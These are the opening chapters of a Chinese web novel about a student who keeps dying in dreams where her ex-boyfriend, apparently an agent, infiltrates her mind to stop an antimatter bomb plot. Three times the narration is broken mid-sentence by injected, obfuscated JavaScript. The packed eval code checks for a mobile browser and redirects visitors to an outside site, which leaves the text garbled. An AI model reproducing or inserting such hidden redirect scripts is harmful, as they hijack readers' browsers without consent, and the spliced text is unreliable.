《总梦到前男友在攻略我》 1. 迷宫（一） 一枚硬币被抛出，正面浮雕的数字和背面繁复的花纹在昏黄的灯火下不断变换，最后落下时，被人用手背接住的瞬间，另一只手“啪”地盖在手背上。 “字，还是花？拜托准一点吧。”纪璇喃喃自语，她背靠在一面石壁上，头上的血迹从额角划过细白的脸颊，顺着脖颈和深凹的锁骨，流进一字肩裙装的衣领里。 有点凉。 …… 纪璇身上这件白色小礼服已经破损不堪，身上多处划痕，左臂上方的伤口还没来得及包扎，血肉翻卷着，渗出的血把衣服染得半边都是红色。 纪璇垂眸看了眼身上衣服，这是一年前表姐操办婚礼时，租来给她穿的伴娘礼服，也是她记事以来穿过的最漂亮最昂贵的衣服，试穿时她恋恋不舍地在镜子前照了半天，表姐半真半假地开口说买下来送给她。 纪璇微笑着婉拒了。 可此时此刻，她再次穿上了这件礼服，脚上还穿着配套租来的高跟鞋，手里拿着缀着细钻的手包，一身精致地在这座暗无天日的迷宫里逃亡。 这一幕当然不会出现在现实世界中，这里……是她的梦境。 如果在十天前，有人告诉她可以清楚感知道自己在做梦，并且还会在梦里以各种各样的方式死掉，她一定觉得对方是在恶作剧。 可现在，自从她半个月前跟男朋友提出分手后，就开始陷入各种光怪陆离的梦境中，这些梦境的唯一相同点是，她总会遇到那位她现在避之不及的前男友，他想方设法地接近她，而每一场梦境的结局，都以她的死亡告终。 分手这半个月以来，她已经陆陆续续梦了六场，今天是第七场。 今晚，她梦到了一座有怪物守护的迷宫。 梦是从什么时候开始的？好像她一开始就在迷宫里奔跑，梦境渐渐将信息灌输给她，一些模糊的影像出现在脑海里……有一只长着巨大犄角和尖利长爪的牛头人身怪物正在追杀她。 跑，快跑！ 纪璇的腿已经跑得发软，她跪坐在地上打开手包，果不其然地在里面找到了一枚一元硬币。 华服配香包，这里面可以是口红粉饼，可以是刷不完的信用卡，可以是豪车钥匙，偏就不该出现一元硬币这么接地气的东西——都移动支付了，谁还带现金啊？可谁叫这是她的包呢，在包里放零钱救急是她的习惯。 看着面前两个黑洞洞的路口，当直觉和记忆都失灵的时候，她选择丢硬币来解决。 字是左边，花是右边。 远处传来惨叫声，紧接着是兽类的嘶吼声，最后是瘆人的咀嚼声。空气中弥漫着难以言喻的、血和内脏的气味。 纪璇没忍住，喉咙干呕了一下。她移开手掌，看了眼手背上的硬币，强撑着站了起来。也许是因为在梦境的缘故，身上的疼痛并不严重，只是感觉上非常疲惫。她摇摇晃晃地往左边的路口走去，就在这时，身后传来男人低沉的声音。 “小纪，回来！” 纪璇听到声音，非但没停下，脚下反而走得更快了。 当纪璇的身影从左边的路口消失，一个身穿古希腊铠甲，腰间系着一团线球，手持一柄闪耀着蓝色光芒长剑的年轻男人从拐角处走了出来。 古希腊、迷宫、线球、有魔力的长剑——这很容易让人联想到希腊神话里，关押着牛头人身怪物米诺陶洛斯的迷宫，只是眼前的勇士并不是神话里的英雄忒休斯。 他黑眸黑发，英俊挺拔，甚至还文质彬彬地戴着眼镜。跟纪璇一样，他身上也有不同程度的伤痕，只是相较于疲于奔命的纪璇来说，他的神态从容多了，就像是在这斯文的皮相下，实则隐藏着一只伺机追捕猎物的猛兽。 看着前方一左一右两个路口，他紧抿薄唇，意识到自己再一次失去她的方向。不过他知道纪璇就在离他不远的地方，她受了伤，跑得不快，这座送进来七对童男童女的迷宫里，现在也只剩下他们两个人。其他人都在迷宫中成为怪物的祭祀品，在他们消失的地方，只留下零落的尸骨碎块和斑驳的血迹。 “你应该早就察觉到了，我们现在是在米诺陶洛斯的迷宫里，根据神话传说，只有线球能记住迷宫的路线，也只有这把魔剑能杀死怪物。现在情况很危险，到我身边来，我可以保护你。”年轻男人伸出修长的手指，推了一下鼻梁上的眼镜，语气颇有些无奈地道，“小纪，虽然我们分手了，但你不用这样躲着我。” 隔着三层墙，纪璇扶着石壁，撇了撇嘴角，并不准备回答他的话。 一是避免对方通过声音确定她的方位，二是因为她打心眼儿里觉得，在他身边也不见得就安全。 纪璇有种可怕的直觉，她宁可面对米诺陶洛斯这样的怪兽，也不想面对这位衣冠楚楚的前男友。 周辰，A大商学院的研究生，一入学就有热心群众把偷拍照片发到校内论坛，凭着堪比大荧幕男明星的极品颜值和一双逆天的大长腿，迅速成为新晋“院草”。 同时，也是她处了不到三个月就分手的前男友，听上去这段恋情有些草率，究其原因，是因为她觉得这个男朋友……实在是有些不太对劲。 要说两个人的相识也很寻常，在图书馆的时候，她和他都在找同一本书。 《纳什均衡博弈论》——电影《美丽心灵》男主角原型纳什所创造的均衡理论，算是博弈论的入门书籍之一。 纪璇是因为公共选修课里有一门博弈论，周辰则是因为专业需要。 一本书让两人结缘，周辰似乎对她一见钟情，打听到她的院系之后，开始主动约她出来吃饭。 这让她身边的社交圈小小地震了一下，消息传得飞快，大家纷纷起哄，一些有意无意的眼神在她身上扫来扫去，跟她同班的系花萧彤看她的眼神都不太对了，透着一股子绿光。 虽说上A大的人前途都不会差，但商院是A大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379956|168421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王牌学院之一，输出的都是业内顶尖人才，周辰要模样有模样，要能力有能力，男神一样的存在，跟这样的人谈一场风花雪月的恋爱，丰富一下大学生活有什么不好？ 纪璇不是盲目从众的人，无奈周辰颜值太能打，刚好是她喜欢的那一款，考虑了几天后，她抱着试试的态度，开始跟周辰约会。 一番接触下来，她发现对方体贴细心，没有直男癌，个方面都相当不错，对两人之间的交往也很认真，完全是以恋爱结婚为目的的交往。这么一个上课下课接送，食堂任劳任怨打饭，偶尔还买水果零食的二十四孝男朋友，不知道有多少人羡慕。 问题出现在某一天，两人去一家颇有格调的西餐厅吃饭，她无意间从墙壁镶嵌的镜子里发现周辰看她的目光，凝重而复杂，什么都像，就是不像男朋友。 那一瞬间，她脊背透凉，毛骨悚然。 纪璇隐隐觉得，天上绝对不会无缘无故掉馅饼，真的掉到她手上，看着好吃，谁知道里面到底是什么馅儿呢？ 趁两人还未更深入接触，她果断地提出分手。 周辰极力挽留，最后还是颇有绅士风度地放了手——他是真的放手了吗？ 纪璇用力甩了甩头，米诺陶洛斯正在迷宫中追杀他们，现在不是想这些的时候。 她扶着墙慢慢移动，脱下高跟鞋，十分小心地不发出一点声音。 周辰的胆子果然够大，在迷宫里开口说话就等于宣告自己的坐标，肯定会迎来米诺陶洛斯的追杀。 不过，某种程度来说，周辰的这种行为救了她。 不久前，纪璇刚好遭遇这头怪物，手臂上的伤口就是它的利爪造成的，是周辰及时赶到拦住了怪物。现在米诺陶洛斯已经记住了她的气味，给她逃跑的时间不多了，必须尽快从迷宫逃出去。 但是关键在于，这不是她的梦境吗？为什么身上全副武装，得到传说中公主所赠予的杀怪利器的人是周辰，而不是她？ 靠着抛硬币和用自己的血做记号，纪璇又前进了一大段路，在这个过程中，她听到了怪物的嚎叫声和利剑撞击在石壁上的声音。 米诺陶洛斯果然找上了周辰。 但她没有管。 不是她不顾人死活，心肠冷漠。 平时看不出什么，可到了梦里才知道，她这位前男友本事大得很。 商院的研究生？ 呵。 纪璇不想跟梦里的周辰牵扯，心里有一个声音告诉她，走出这座迷宫，她就能从梦境里醒过来。 她推测着现在现实生活中大概是几点，已经在迷宫里逃了这么久，她定的闹钟怎么还没响？今天上午有两堂很重要的专业课，下午还要去项目组完成第二轮实验，还有奖学金申请要提交……她真的很忙，还是早点解决这一切吧。 但是这一次——纪璇眸光冷凝。 她不想再稀里糊涂的死掉了。 2. 迷宫（二） 周辰手中的长剑抵住米诺陶洛斯头上的犄角，他重重地呼出一口气，不顾自己身上伤口的剧烈撕痛，正想再一次击退怪物，却没想到耳边突然传来机械化的警报声。 【警报！危险系数增加，SH053观察体处于情绪波动，未能构建下一级连接，建议解梦者意识退出！】 周辰的眼镜架上有一根纳米线，直通向右耳道，从里面传来只有他自己才能听到的指令。 米诺陶洛斯趁机用尾巴攻击周辰，结结实实地抽在他的腿上，周辰手上一用力，长腿粗暴地踹向面前的怪物，与对方距离拉开，立刻低声道：“不需要，任务还在可控范围内，申请解除警报！” 对面明显沉默了一下，只有微弱的电流声，再次传来声音的时候，明显换成了活人。 “周辰，我是张楚臻，你应该已经发现，这一次的梦魇比之前任何一次都要强大，我们监测到SH053的意识有更加封闭的趋向，说明A计划已经失败，你在里面继续下去也无济于事，还会让自己陷入更危险的境地。” 迄今为止，周辰已经跟米诺陶洛斯斗了几个回合，他低头看向手中的魔剑，那上面象征魔力的光芒越来越黯淡。确实，与之前梦境里的相对简单的梦魇形象不同，这一次他面对的是传说级别的怪物米诺陶洛斯，在系统的辅助下拥有了外挂一样的装备，他才与这种传说等级的怪物打了个平手。 在这片刻的喘息时间里，他额头上的汗珠不停往下落。周辰闭上眼睛又睁开，好看的下颚线绷紧一下。 他笑了下，语气轻松地说：“没记错的话，A计划的实行部分主导权在解梦者，张博士的好意我心领了，我认为目前还属于正常任务范畴，还不到放弃她的程度。” 张楚臻叹了一口气：“对不起，根据我们刚刚从市局调来的案卷，SH053观察体有过严重的心理创伤，跟十三年前一起重大凶杀案有关，所以你根本不可能在短时间内接触到她的深层意识，这是我们的决策失误，也是A计划实施的硬伤。现在SH053观察体已经启动潜意识中的防御机制，经过专家组研讨，我们认为不适合继续A计划……距离任务的最后时间还剩下6小时13分45秒，目前任务进度不明朗，指挥部已决定放弃A计划，执行B……” 周辰挑眉问：“那我可不可以理解为，你们决定放弃这个姑娘，准备让她一辈子当深海系统的观察体？” “如果可以，我们也希望能唤醒她，也为此努力过，但事已至此，我们只能接受现实。感谢你这一次以编外人员的身份支援任务，希望你能理解并配合我们的工作。” “我拒绝。”周辰手中的长剑连连进攻，看似笨重的长剑挥出密不透风的剑光，将米诺陶洛斯拦在身前，他的另一只手伸向眼镜，准备扯掉指令装置，“现在就算是专家组也无法撤销深海的系统进程，你们可以继续进行B计划，但我这边，不能停止。” “周辰！”指令装置后面又换了一个人，语气有些气急败坏，“你真是江山易改，本性难移！你以为自己还是特战队的成员，可以为所欲为吗？行动组和专家组只是做出最合理的判断，减少不必要的牺牲，你必须服从命令！” 周辰低笑：“是啊，冯队，你又不是第一天认识我，而且我已经不是现役，你好像也命令不了我。” 冯队嗤笑：“别装模作样了！你以为我不知道你在想什么吗？你认为是自己的失误让任务目标产生了戒备心理，导致我们不得不提前进入了深层梦境链接，所以任务才会失败！你想弥补自己的错误，就像那时在丹特顿基地一样。” 话音刚落，只听见对面传来七手八脚捂嘴的声音。 “队长，上一个在他面前提起那件事的人还没出ICU啊……” “唔……放开我！” 周辰双眸低垂，掩盖住里面蕴含的冷意，他一字一句道：“我希望大家都能认清一件事，你们请我过来，因为我是国内目前唯一可以驾驭解梦者系统的人。” 指令装置对面一片倒吸声。 冯队不甘地吼：“你行！我懒得管你！还有，不准撤掉装置，不然有你好看！” 周辰不以为然地笑了笑，收回准备解除装置的手，问道：“薛路回来了吗？” 一个有些吊儿郎当的男人声音响起来：“哎呀辰辰小哥哥想我了，现在知道我的好了吧？” 周辰笑骂：“那你还是滚吧！” “啧，我要是你，可就笑不出来了，”薛路那边传来敲击键盘的声音，“我刚才去接驳器检查端口，顺便检查了下SH053观察体的心理活动情况，我可以很确定地告诉你，她对你这个前男友的信任度已经达到了临界值，再不撤出任务，你会有生命危险。目前梦境同步率为60%，如果你在观察体的梦境中死亡，在现实中脑死亡的概率也是60%，以这妹子梦境中梦魇的凶残程度，你的死亡率或许还要加上十个百分点。不过我可不会像冯队那样劝你，凭咱们哥们儿的交情，就算你下地狱，我也得帮你搭梯子不是？我就想问一句，为了这么个陌生姑娘，值得吗？” 周辰语气敷衍：“我执行任务，从来不考虑值不值，只问该不该。” “棒！电视台怎么不来采访你呢？就这觉悟，今年的A市杰出青年肯定有你一个章啊。” “少废话。” “成吧，专家组那边正在计算下一次梦境的阈值，毕竟如果A计划能顺利，谁也不想大动干戈的执行B计划。理论上，这一次只要你找到迷宫出口，就能找到SH053观察体的意识碎片。” “理论上？” “当然是理论上，深海系统还在开发中，我们对人类梦境的建构和控制都还在摸索阶段，如果你是在自己的梦境，当然可以自由建构空间场景模型，且不会有生命危险，但现在可是在别人的梦境，咱们对SH053观察体的了解还太少，我只能确定迷宫出口会通向她更深层的潜意识空间，只有进了潜意识空间或者进入更深层梦境，你才能让她把那些操蛋的事都想起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379957|168421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，哎呦我说辰辰小哥哥，你不是很行的吗？号称R7特战队可以横扫一切的狂战斧，那就赶紧把米诺陶洛斯干掉，咱们早点完活，我今天游戏日常还没做呢！” 周辰躲开米诺陶洛斯的攻击，剧烈活动后，肩膀伤口再次撕裂，正汩汩流血，他被气笑了：“这都什么时候了，你还惦记游戏日常！” 指令装置后面的人从系统电子音到中规中矩的张博士，再到炮仗桶冯队，最后是不着调的薛路，画风转变得目不暇接，忒热闹。 薛路特别委屈：“大兄弟哎，米诺陶洛斯，多凶残的怪物啊，我在外面帮你监视梦境，看着它牙好胃口也好地吃人，睡着了做噩梦怎么办？只有我的老婆们才能抚慰我受伤的心灵，等下次更新活动我一定要多买几个皮肤慰劳……” 就在薛路满嘴跑火车的时候，米诺陶洛斯发出震耳欲聋的吼声，周辰手上的魔剑不断震颤哀鸣。 不止魔剑的力量在减弱，怪物的力量也比之前更强大了。 可惜，它面对的是周辰。 他已经很久没这样痛痛快快地打一场了。 血腥的场所让普通人不适，可对周辰来说，这曾经就是他生活的一部分。 既然魔法靠不住，那就靠自己。 周辰握紧长剑，迎上怪物的爪子，强大的冲击力爆出了一连串的火花，就在剑锋将要逼近米诺陶洛斯的脖子时，只听到“铛”的一声。 剑尖飞了。 ——你管这个叫“传说中的魔剑”？ 时间紧迫，他没功夫计较，身体灵动爆发到极致，躲避怪物的疯狂反扑，抽空问道：“既然纪璇对我的信任已经下降到临界值，那么专家组有没有给出解决方案？能不能先强化装备？” 薛路混不吝地继续道：“这也正常，你看看现在的新闻啊，分手之后对前女友下手的禽兽比比皆是，还不让人家有点儿戒心了？尤其你还……咳，那什么，说正经的，能在进入梦境的时候给你这身装备，已经是我能做到的极限了，你知道迷宫在梦境里意味着什么吗？表面上看，迷宫即是困境，是现实生活中复杂而难解的各类事件在情感意识中的投射，但如果换一个角度去想，这个迷宫……”薛路的声音停顿了一下，低低地道，“也可能是她的保护层。” 电光石火之间，拨开云雾，周辰全都明白了。 在梦境中，如果说迷宫是众多危机的投射的话，人们想当然地认为守护迷宫的怪物象征着迷宫中最大的危机，只要消灭怪物就能得到解脱。 却没想到纪璇这姑娘十分敏锐，当她对前男友产生怀疑之后，今天的梦境看上去不过是一个普通的迷宫梦境，但实际上，这座迷宫和这头怪物都根本就是给他准备的。就好像在希腊神话里，米诺陶洛斯守护着迷宫的同时，也困囿于迷宫，所以作为迷宫最大的危机的米诺陶洛斯反而成为了她对付他的武器。 ——也许她自己都没有意识到这一点，而潜意识已经为她准备了一层厚厚的铠甲，阻挡了周辰的侵入。 3. 迷宫（三） “她是真的想消灭我。”周辰舔了舔嘴角的血，在纪璇看不到的地方，撤去伪装的男人俊美而野性，掩盖在眼镜下的双眸尽显桀骜，他有些玩味地说道，“有意思。” 薛路的声音有点同情地说：“有句话，我不知道当讲不当讲。” 周辰：“闭嘴。” “好的呢，那我讲了啊，圣人云，死掉的前男友才是好前男友。” 周辰：“……” 与此同时，纪璇又穿过一个路口，在走过一段黑漆漆的长廊后，终于看到了一扇斑驳的小木门。 当她的手触摸上那锈迹斑斑的铜锁时，它像是终于等到了钥匙一般，如释重负地落下。 木门推开，里面是幽暗的长梯，通向唯一的出口。 梦境清清楚楚地告诉她，只要通过这里，这段梦就可以结束，她会醒来，或者进入下一段睡眠。 纪璇看着眼前黑洞洞的出口，久久没能迈出一步。 这是她第一次突破梦魇的追杀，来到这里。突然想起，在那些或长或短的梦境里，那个为了她与敌人作战，从来不曾退缩的身影，现在也正在后方与米诺陶洛斯战斗着。 你说这个人，怎么这样奇怪？ 明明是心怀鬼胎接近她，可她梦到他时，他却总是表现出奋不顾身的模样。 她不相信会有人无缘无故地去为一个人拼死战斗，这种梦境出现在她身上本来就存在逻辑问题，也许正是这一点，让她在自己的梦境中也能保持清醒。但无论如何，总梦到前男友这件事实在太奇怪了，她甚至怀疑过，自己是不是得了什么跟前男友有关的心理疾病，对他的执念到底是有多深，才能总梦到同一个人？ 不能再这样下去了。 就算她这一次逃走了，那么下一次呢？下一场梦境，下一个夜晚，她和他是不是还会这样纠缠不清？ 片刻后，纪璇转过身，向来时路跑过去。 “周辰！”她大喊一声，“你在哪？我找到出口了！” 听到纪璇的声音，周辰和薛路同时沉默了。 薛路摸着下巴说：“我觉得不太对劲，按理说，这一次梦境里设置了这么强大的怪物来阻拦你，她应该早就找到出口了，怎么还会回来？” 周辰用已经快变成废铁的半截魔剑支撑着自己的身体，低低地喘息着。 “也可能是回来看看，这个穷追不舍的‘前男友’有没有变成‘好前男友’。” 薛路不厚道地笑了，“其实这姑娘也是个倒霉孩子，这么就摊上这么个破事。要我说，你就别管那么多了，什么拉手什么接吻什么清白啊，能比你们两个人的性命重要吗？大家都知道你一直失败的原因，你们俩之间没化学反应，她一直不信任你，你在她的梦里当然束手束脚，发挥不出全部的实力。归根结底，只有真正走进她内心的人，才能在梦境里打破潜意识的保护，找到她的意识本体，让她把之前的事都想起来。” “我知道。” “事态的紧迫性和严重性我相信你都懂，这个任务麻烦就麻烦在SH053观察体失去了事情发生当晚的记忆，我们尚且还不清楚她有没有接受催眠，所以不能用直接灌输记忆的手段，也不能干涉模拟现实梦境的正常运行轨迹，而是必须在事件发生前找到她的本我意识体并唤醒，这样任务才不会失败。一旦在梦境中触发事件，SH053观察体将会彻底失控，连你也会永远留在深海系统里。” 周辰紧抿着双唇。 纪璇不是那些他之前一直打交道的恐怖分子，她只是个普通的女大学生，暴力侵入肯定不行，而对于女性来说，最容易获得她们信任感的方法，就是成为她们的男朋友，刚好周辰的外形条件得天独厚，不就是出卖色相嘛，大家赶时间，就让周辰牺牲一下好了……行动组一度认为这是一个很简单的任务，直到纪璇突兀地提出分手。 他自以为完美的伪装被纪璇碾成了渣渣，从此得到一个教训，不要小瞧女人的直觉和洞察力。 现在落得这个结果，也只能说是报应。 但是对周辰来说，在梦里欺骗纪璇感情这件事，本身已经突破他的底线，只是为了救人才事急从权，如果还要在梦里占人家姑娘的便宜，简直禽兽不如，他还不如找块豆腐撞死。 想想刚才张博士的任务提示，虽然深海系统可以操控梦境里的时间流速，但留给他的时间已经不多了。 那个疯子藏在A市的反物质弹还没找到，也不知道他哪儿弄来的高纯度军用货，爆炸能量是SNT的两千倍！向暗网传送研究资料的秘钥也一直无法破解，如果被国外势力得到这份成果，影响牵连不可计数。B计划已经迫在眉睫，如果不是怕引起大规模民众恐慌，事实上根本不会有A计划的存在。 “我再想想，要想成为彼此信任的关系，本来也不是只有男女朋友这一个办法。” “是啊是啊，你们可以成为正义的伙伴，还能一起聊诗词歌赋看月亮呢！”薛路不客气地嘲笑他，“现在充其量只是她想消灭你而已，但是啊，你面对的还不是最糟糕的情况。” 周辰又跟米诺陶洛斯搏斗在一起，简短地问：“比如？” “还有一种最糟糕，最不利于你行动的办法，比如么——再交个男朋友？” 周辰：“……” 不知道在梦境里杀人犯不犯法。 纪璇已经走了过来。 米诺陶洛斯则是抽了抽鼻子，像是闻到了什么美味一样。 在魔剑的光芒彻底消散后，周辰拼劲全身力气将怪物推开，向着身后低吼：“别过来！” 这怪物还记得纪璇身上甜美的血液芳香，瞳孔瞬间放大，它身形又暴涨了一圈，挥动着利爪，朝着周辰的胸膛抓过去。 以周辰的身手，他完全可以躲开。 但是在他看到纪璇的那一刹那，脑海里转过一个疯狂的念头。 于是，在纪璇顺着原路返回后，刚好看到狰狞的怪物用粗壮的手臂洞穿周辰身体的一幕。 薛路像一只被掐住脖子的鸡一样尖叫着：“……卧槽，周辰你要干什么，你疯啦！卧槽，60%的死亡率！你真想死啊！等等，这是别人的梦，没有减轻疼痛的功能啊啊啊！所有人准备，目标即将醒来！目标即将醒来！” 周辰目光平静地看着纪璇，所有一切都定格在了这一瞬间。 她不敢置信的样子，腿软坐在地上，一只手捂住嘴，眼睛瞪得那么大，像一只被吓得炸毛的猫。 他能感觉到她的恐惧，每一个梦境里都会有的梦魇，她的心理阴影，还有那件未知的凶案……这个姑娘，比他想象中要复杂得多。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379958|168421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那么这一次如她所愿的话，会发生什么呢？ 变成一个“好前男友”吗？还是会走向不同的岔路口？ 周辰闭上了眼睛。 “啊！”一声压抑的叫喊声在寝室里突兀地响起。 黑暗中，纪璇睁开双眼，张开嘴剧烈地喘息，心脏还在怦怦乱跳。 她伸出手摸到了床边的墙壁，一下子坐了起来。 “小叽，你又做噩梦了？”床位紧挨着她的傅姳妍被吵醒，迷迷糊糊地问。 “我没事，快睡吧。”纪璇低垂着头，压低了声音对傅姳妍说道，“对不起，又吵醒你了。” “你也赶紧睡，明天一早要点名呢。”傅姳妍翻了个身，发出一声意义不明的鼻腔音，不再说话了。 纪璇抬起头，看了一圈寝室，跟她最近的傅姳妍被吵醒，对面的两个人都还在睡觉。 她摸出枕头边的手机看了一眼，现在才四点半，窗外还是一片漆黑，只隐隐透过来少许路灯的光线，让人稍许安心。 在经历了杀戮和恐惧之后，她终于回到了熟悉的现实生活。 纪璇深吸了一口气，就算她现在睡不着，这个时间也不方便做什么，只好重新躺了下来刷手机。手指点开手机屏幕，在首页停顿了片刻，鬼使神差地点进通讯录，在黑名单里找到那个名字——周辰。 纪璇咬着下唇，指尖轻轻从那个名字上面滑过。 这一夜格外不同。 死在梦境里的人不再是她，而是他。 在她的梦里，他总是无所不能，哪怕她抗拒他的保护和追逐，不信任他这个人，却不得不承认，无论是在现实还是在梦境，周辰都是一个无比强大的、无可撼动的存在。 她记得他告诉她别过来，可她从来没在梦里听过他的话，仍然自顾自地走过去了。 然后他就死了。 这是梦……无论发生什么事，都不会影响现实生活。 可不知为什么，她第一次眼睁睁看着周辰的胸膛被利爪穿透，身体从半空跌落，头颅无力地垂下时，莫名的恐惧狂涌袭来，她瞬间被黑暗包裹。 大脑无法接受这样的场景，她本能地开启保护机制，梦境也随之崩溃。 纪璇几乎有一种冲动，想从黑名单把周辰捞出来，好问问他这些日子是不是也梦到过自己，否则她梦里的他，为什么会那样真实？ 真实到超乎她对他的认知。 就连死亡的阴影，都那样刻骨铭心。 好不容易熬到天亮，纪璇顶着黑眼圈和兜不住的下眼袋，被傅姳妍拉着去上课，中午去食堂吃饭，下午准时去实验室报道，跟在学姐学长身后一直做实验到晚上八点半，才拖着睡眠不足的疲惫身躯离开实验室，准备赶往食堂。 得抓紧时间吃饭，回寝室还要赶要命的作业，评分直接与期末成绩挂钩的那种，会影响她拿今年的奖学金，必须得刷个满分。等到放假回家，再用这笔钱给妈妈换一个新洗衣机，现在家里用的那台老洗衣机声效堪比直升机，一响起来整个单元都别想好过，为了不扰民，妈妈总是手洗衣服，冬天水又凉……她脑子里乱糟糟地想着。 物院实验楼的大门口空荡荡的，她一出门，就看到一个熟悉的身影。 纪璇脑子“嗡”的一声，紧咬牙根，站在原地不动。 4. 深海系统（一） 深夜的A大，几乎所有的教学楼和宿舍楼都陷入一片黑暗，只有物院实验楼和校区东北角的一座研究所依然灯火通明。 不断有车辆在校门口和两栋楼之间穿梭，有人步伐匆匆地来去，仔细看的话，几乎都是荷枪实弹的武警和士兵。 深海研究所外面挂着的牌子很是唬人——“A大神经科学与心理机能研究中心”，平时几乎没什么人走动，只有相关人士才知道这里面的玄虚。 就在这栋不到七层的研究所内，潜伏着目前神经学科和心理学领域融合在一起，以“灵端二号”、“梅裕二号”和“苍梧一号”等三台世界排名分别为第二、第三、第六的超级计算机为载体，耗费上百人以十年为计，所制造出来的庞然巨兽。 深海系统。 人虽中年但头发已花白的张楚臻教授带着冯队从第五层电梯走出，走过漫长的走廊，他从衣领中掏出磁卡，核对虹膜和指纹，开启了里面紧闭的大门。 “这就是深海系统的观察室。”里面很安静，张楚臻的声音在空旷的大厅回荡，“纪璇和周辰都在这里。” 冯千焕身姿笔挺，气质精干，一身迷彩军装，他是A市目前武装力量的最高负责人，也是这次行动的总指挥，他走向观察室里存放的五台生物舱。 张楚臻：“纪璇所在的2号生物舱从凌晨0点23分开始启动，目前已经运行四个小时，周辰所在的3号生物舱也已经运行两个小时了。” 冯千焕点点头，他来到2号生物舱，里面的年轻女子还穿着日常服装，全身都浸泡在溶液中沉睡着，整个人如同潜入深海，回归母体状态。 冯千焕百思不得其解：“我不明白，他为什么会挟持纪璇，就算是想得到ARMO-YKJ项目的情报，也应该是挟持项目负责人，而不是一个才大三的实习研究员。更何况他已经拿到了研究成果，正通过暗网向国外势力传送，这样一个年轻女孩子，对他有什么用呢？” 张楚臻叹道：“我们找到纪璇的时候，她已经被关进生物舱，还被注射了大量药剂，足以让她陷入永久沉睡状态，根据之前深海系统的启动记录，今晚一共有两台生物舱向深海系统发出连接请求，但产生梦境却只有纪璇一个人，这证明他通过另一个隐藏在不知名处的深海系统生物舱，一同进入了纪璇的梦境。” “为什么会出现生物舱流落在外的现象？这不是很重要的实验设备吗？” 张楚臻解释道：“深海研究所的生物舱并没有流出，但国外也有类似的研究项目，我们怀疑对方走私了一台生物舱，改造其适配性，通过内部权限得到深海系统的安全码，从而与深海系统建立连接。” 冯千焕沉默，与之前面对周辰时的火爆脾气不同，他看上去十分内敛，在团队里应该那种轻易不发话的领导型角色。 张楚臻继续道：“咱们A大的几个国家重点项目，除了深海研究所，就是高能物理研究所的中微子组，ARMO-YKJ是核心项目，刚刚完成的反物质研究取得了里程碑式的成果，没想到早就被人盯上，而且还是深海研究所的人……我真是没脸见中微子组的老胡，唉。” 冯千焕冷哼一声：“这不单单是窃取国家机密项目的事，他还在A市市区里埋下了一枚反物质弹，现在国家安全部和军方成立了紧急行动组，我们却一筹莫展，只能寄希望与A计划。”他走到3号生物舱前，看着里面同样陷入沉睡的周辰，“还有这个喜欢胡闹的臭小子。” 张楚臻道：“深海系统还处于研发阶段，并没有大规模投入使用，周辰是国内目前唯一有过潜入他人梦境经验，并成功完成任务的人。根据深海系统的检测，纪璇已经遗忘了今晚发生的事，且不能确定是受到药剂影响亦或是接受了催眠，只能通过深海系统来架构类现实的梦境，通过梦境的刺激来唤醒她的意识体，否则的话，这个年轻的姑娘会一直陷入沉睡状态，永远不会再醒过来。当然，出于人道主义精神，我们会一直保留她的生物舱，让她作为深海系统的观察体留存，直到她无法坚持。但这样永远在梦境中徘徊，意识不会进步，生命也不会产生目标，作为社会性的人，她其实已经死了。所以……唉，于情于理，我们现阶段除了A计划，其实也没有更好的办法了。” 冯千焕神情肃穆地道：“张教授，你一手主导了深海系统的研发，依据你的理论，只要周辰通过深海系统潜入纪璇的梦境唤醒深层意识，使她想起这一切，纪璇本人就可以在梦里得到完全的主动权，从而找到犯罪分子的存在，然后周辰就可以趁机获取与反物质弹、暗网传送秘钥有关的情报，以及解救作为人质的纪璇。” 张楚臻推了推眼镜，点头道：“理论上是这样没错，幸好不知道为什么，暗网传送变成了定时发送，只要得到中止传输的网络秘钥，确定反物质弹的方位，我们就还有挽救的余地。” 但张楚臻没说的是，如果周辰行动失败，将无法唤醒陷入永久沉睡的纪璇，实验成果通过暗网传送后，国家会面临无可估量的损失，而整个A市也会陷入反物质弹的阴影中，整座城市面临迁徙，乃至A市所在的地区都将成为无人区。 周辰站在校园里的欧式古典路灯下，原本低垂着的眼眸微微抬起，就好像他已经不知道这样等了多久，每一个从实验楼出来的人都被他这样淡淡扫上一眼，直到等到他要等的人——那张冷静漠然的脸上才会挂上温和的笑意。 这一瞬间，不甘心的感觉涌上纪璇的心头。 在她的梦里，已经分手的她和他明明发生了那么多的交集，可一旦从梦中醒来，她面对的却是另一个世界，对周辰来说，什么都不曾发生。 “路过实验楼，突然想到你应该快做完实验了，就等了一会，请你吃个晚饭怎么样？” 周辰穿 